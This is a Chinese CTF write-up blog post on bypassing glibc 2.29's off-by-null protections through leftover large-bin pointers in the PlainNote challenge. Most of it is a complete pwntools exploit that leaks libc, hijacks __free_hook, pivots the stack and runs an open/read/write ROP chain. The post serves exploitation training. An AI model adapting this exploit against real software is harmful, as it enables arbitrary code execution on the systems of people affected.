https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/off-by-one/
http://blog.eonew.cn/archives/1233
这两篇组合起来看,应该就差不多了。至少先看了这两篇,我讲的只是我觉得一些重要的点

这应该是off_by_null的最后一篇了
之前说过了,off_by_null一种是修改类似bss段上堆信息;另一种是通过覆盖堆head上pre_inuse,然后配合unlink实现堆重叠的
但是当libc-2.29以后增加了一个保护机制,在free的时候会检查该堆的size和下一堆的pre_size是否相等,这样我们就不能像之前一样直接伪造一个堆块,因为我们很难区控制一个堆块的size段,同时满足unlink的条件。(即使我们可以伪造一个对的结构,可是我们该如何填充相关信息呢)

wiki上off_by_null的第三题plainnote就引出了新的绕过方法。

题目及libc:https://github.com/Ex-Origin/ctf-writeups/tree/master/balsn_ctf_2019/pwn/PlainNote

原理:我们知道当chunk被free之后会在其中遗留有链表信息(fd,bk),其中large bin还要特别一些,他会遗留fd,bk,fd_nextsize,bk_nextsize,而且一般情况,只有一个large bin的时候,他的fd_nextsize和bk_nextsize会指向自己,
这个绕过方法就是,也是伪造chunk,占用large bin的fd,bk位作为pre_size,还有size。把fd_nextsize,bk_nextsize稍加改动作为被伪造chunk的fd和bk.
在这个题里,我们在调试的时候有意的把large bin起始位置的前16位调为0,为了方便,因为后面会需要爆破,概率是1/16
正常的large bin长得像这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
		爆破的位置
0x5585e79e[d0]00: 0x0000000000000000 0x0000000000001001
0x5585e79ed010: 0x00007f9d9487e2c0 0x00007f9d9487e2c0===>fb和bk
0x5585e79ed020: 0x00005585e79ed000 0x00005585e79ed000===>fd_nextsize和bk_nextsize
0x5585e79ed030: 0x0000000000000000 0x0000000000000000
0x5585e79ed040: 0x0000000000000000 0x0000000000000000
0x5585e79ed050: 0x0000000000000000 0x0000000000000000
0x5585e79ed060: 0x0000000000000000 0x0000000000000000
0x5585e79ed070: 0x0000000000000000 0x0000000000000000
0x5585e79ed080: 0x0000000000000000 0x0000000000000000
0x5585e79ed090: 0x0000000000000000 0x0000000000000000
0x5585e79ed0a0: 0x0000000000000000 0x0000000000000000
0x5585e79ed0b0: 0x0000000000000000 0x0000000000000000
0x5585e79ed0c0: 0x0000000000000000 0x0000000000000000
0x5585e79ed0d0: 0x0000000000000000 0x0000000000000000
0x5585e79ed0e0: 0x0000000000000000 0x0000000000000000
0x5585e79ed0f0: 0x0000000000000000 0x0000000000000000
0x5585e79ed100: 0x0000000000000000 0x0000000000000000

我们知道,如果要unlink有个难点就是要绕过一个检测
p->fd->bk ==p
p->bk->fd ==p

这里,我们就通过手动覆盖和fastbin的机制,把相应的地址写在各自位置上。
我才用wiki的exp讲吧,我改了一点,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(log_level ='debug', arch = 'amd64',os ='linux')


def main():

def debug():
gdb.attach(sh)
raw_input()

def add(size,payload):
sh.sendlineafter("Choice: ",'1')
sh.sendlineafter("Size: ",str(size))
sh.sendafter("Content: ",payload)

def delete(index):
sh.sendlineafter("Choice: ",'2')
sh.sendlineafter("Idx: ",str(index))

def show(index):
sh.sendlineafter("Choice: ",'3')
sh.sendlineafter("Idx: ",str(index))


for i in range(16):
add(0x10,'fill')

for i in range(16):
add(0x60,'fill')

for i in range(9):
add(0x70,'fill')

for i in range(5):
add(0xC0,'fill')

for i in range(2):
add(0xE0,'fill')



add(0x170,'fill')
add(0x190,'fill')
# 49

add(0x2A10,'addralign') # 50,这里我和原exp不一样,说了是方便调试我们要把large bin的起始位置后16位为0,原大小是0x2a50,特意说明一下
#add(0x4A50,'addralign') # 50

add(0xFF8,'large bin') # 51
add(0x18,'protect') # 52


delete(51)
add(0x2000,'push to large bin') # 51
add(0x28,p64(0) + p64(0x241) + '\x28') # 53 fd->bk : 0xA0 - 0x18

add(0x28,'pass-loss control') # 54
add(0xF8,'pass') # 55
add(0x28,'pass') # 56
add(0x28,'pass') # 57
add(0x28,'pass') # 58
add(0x28,'pass') # 59,这里在申请的时候,因为chunk的剩余部分会不断放进unsorted bin,所以接下来的bin都会带有libc地址
add(0x28,'pass-loss control') # 60
add(0x4F8,'to be off-by-null') # 61

for i in range(7):
add(0x28,'tcache')
for i in range(7):
delete(61 + 1 + i)
#这里是把tcache填满,这样后面的就能进入fastbin
delete(54)
delete(60)
delete(53)
#这里利用fastbin的机制,filo,把heap地址写进相应chunk,这一步是重点,使得可以绕过unlink
for i in range(7):
add(0x28,'tcache')
#这里,把tcache的先申请出来,之前fastbin里面的chunk因为stash机制,会进入tcache,会发现链表的顺序会变化。
# 53,54,60,62,63,64,65

add(0x28,'\x10') # 53->66
## stashed ##
add(0x28,'\x10') # 54->67
add(0x28,'a' * 0x20 + p64(0x240)) # 60->68
# debug()
delete(61)
#这里就是unlink,这里申请0x140是为了方便下一步申请0x28的chunk,造成对重叠
add(0x140,'pass') # 61
show(56)#前面说过的,因为unsorted bin会遗留很多libc的地址
libc_base = u64(sh.recv(6).ljust(0x8,'\x00')) - libc.sym["__malloc_hook"] - 0x10 - 0x60
log.success("libc_base:" + hex(libc_base))
__free_hook_addr = libc_base + libc.sym["__free_hook"]
#这里都是构造重叠
add(0x28,'pass') # 69<-56
add(0x28,'pass') # 70<-57
delete(70)
delete(69)
show(56)
heap_base = u64(sh.recv(6).ljust(0x8,'\x00')) - 0x1A0
log.success("heap_base:" + hex(heap_base))

add(0x28,p64(0) * 2) # 69<-56
add(0x28,p64(0) * 2) # 70<-57
add(0x28,p64(0) * 2) # 71<-58
delete(68)
add(0x60,p64(0) * 5 + p64(0x31) + p64(__free_hook_addr)) # 68
add(0x28,'pass') # 72
#至此,我们已经完成了,堆重叠。但是我们又不能直接one_gadget应为程序开启了沙箱,只能用orw
## alloc to __free_hook ##
#说到这,我真想吐槽一下,可能是我太菜。虽然我知道,在这里应该采用类似栈迁移的方式,找mv ptr rax;jump rax;ret。但是有思路归有思路,但还真找不出来。下面这个是真巧妙,我都不知道他是怎么找到的,或者说怎么想的。
magic_gadget = libc_base + 0x12be97
# .text:000000000012BE97 mov rdx, [rdi+8]
# .text:000000000012BE9B mov rax, [rdi]
# .text:000000000012BE9E mov rdi, rdx
# .text:000000000012BEA1 jmp rax
add(0x28,p64(magic_gadget)) # 73
#这里,我们把magic_gadget写进free_hook,执行free的时候就相当于执行magic_gadget的函数,74号chunk里的内容就被当成参数了,这里提示一下,寄存器传参是rdi,rsi,rdx,rcx,r8,r9。函数的参数实际参数是字符,传递的却是地址(挺重要的)。
pop_rdi_ret = libc_base + 0x26542
pop_rsi_ret = libc_base + 0x26f9e
pop_rdx_ret = libc_base + 0x12bda6
syscall_ret = libc_base + 0xcf6c5
pop_rax_ret = libc_base + 0x47cf8
ret = libc_base + 0xc18ff

payload_addr = heap_base + 0x270
str_flag_addr = heap_base + 0x270 + 5 * 0x8 + 0xB8
rw_addr = heap_base
# .text:0000000000055E35 mov rsp, [rdx+0A0h]
# .text:0000000000055E3C mov rbx, [rdx+80h]
# .text:0000000000055E43 mov rbp, [rdx+78h]
# .text:0000000000055E47 mov r12, [rdx+48h]
# .text:0000000000055E4B mov r13, [rdx+50h]
# .text:0000000000055E4F mov r14, [rdx+58h]
# .text:0000000000055E53 mov r15, [rdx+60h]
# .text:0000000000055E57 mov rcx, [rdx+0A8h]
# .text:0000000000055E5E push rcx
# .text:0000000000055E5F mov rsi, [rdx+70h]
# .text:0000000000055E63 mov rdi, [rdx+68h]
# .text:0000000000055E67 mov rcx, [rdx+98h]
# .text:0000000000055E6E mov r8, [rdx+28h]
# .text:0000000000055E72 mov r9, [rdx+30h]
# .text:0000000000055E76 mov rdx, [rdx+88h]
# .text:0000000000055E76 ; } // starts at 55E00
# .text:0000000000055E7D ; __unwind {
# .text:0000000000055E7D xor eax, eax
# .text:0000000000055E7F retn

payload = p64(libc_base + 0x55E35) # rax
payload += p64(payload_addr - 0xA0 + 0x10) # rdx
payload += p64(payload_addr + 0x28)
payload += p64(ret)
payload += ''.ljust(0x8,'\x00')
#后面的就可以当ORW祖传代码了
rop_chain = ''
rop_chain += p64(pop_rdi_ret) + p64(str_flag_addr) # name = "./flag"
rop_chain += p64(pop_rsi_ret) + p64(0)
rop_chain += p64(pop_rdx_ret) + p64(0)
rop_chain += p64(pop_rax_ret) + p64(2) + p64(syscall_ret) # sys_open
rop_chain += p64(pop_rdi_ret) + p64(3) # fd = 3
rop_chain += p64(pop_rsi_ret) + p64(rw_addr) # buf
rop_chain += p64(pop_rdx_ret) + p64(0x100) # len
rop_chain += p64(libc_base + libc.symbols["read"])
rop_chain += p64(pop_rdi_ret) + p64(1) # fd = 1
rop_chain += p64(pop_rsi_ret) + p64(rw_addr) # buf
rop_chain += p64(pop_rdx_ret) + p64(0x100) # len
rop_chain += p64(libc_base + libc.symbols["write"])

payload += rop_chain
payload += './flag\x00'
add(len(payload) + 0x10,payload) # 74
#gdb.attach(proc.pidof(sh)[0])
delete(74)
sh.interactive()

while True:
#sh = process("./note")
libc = ELF("/home/blacktea/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so")
sh = process("./note")
# libc = ELF("./libc-2.29.so")

try:
main()
except:
sh.close()
continue

这里说一下,还有个srop做法的,等下次再说吧,怕了怕了。

2022-01-25

⬆︎TOP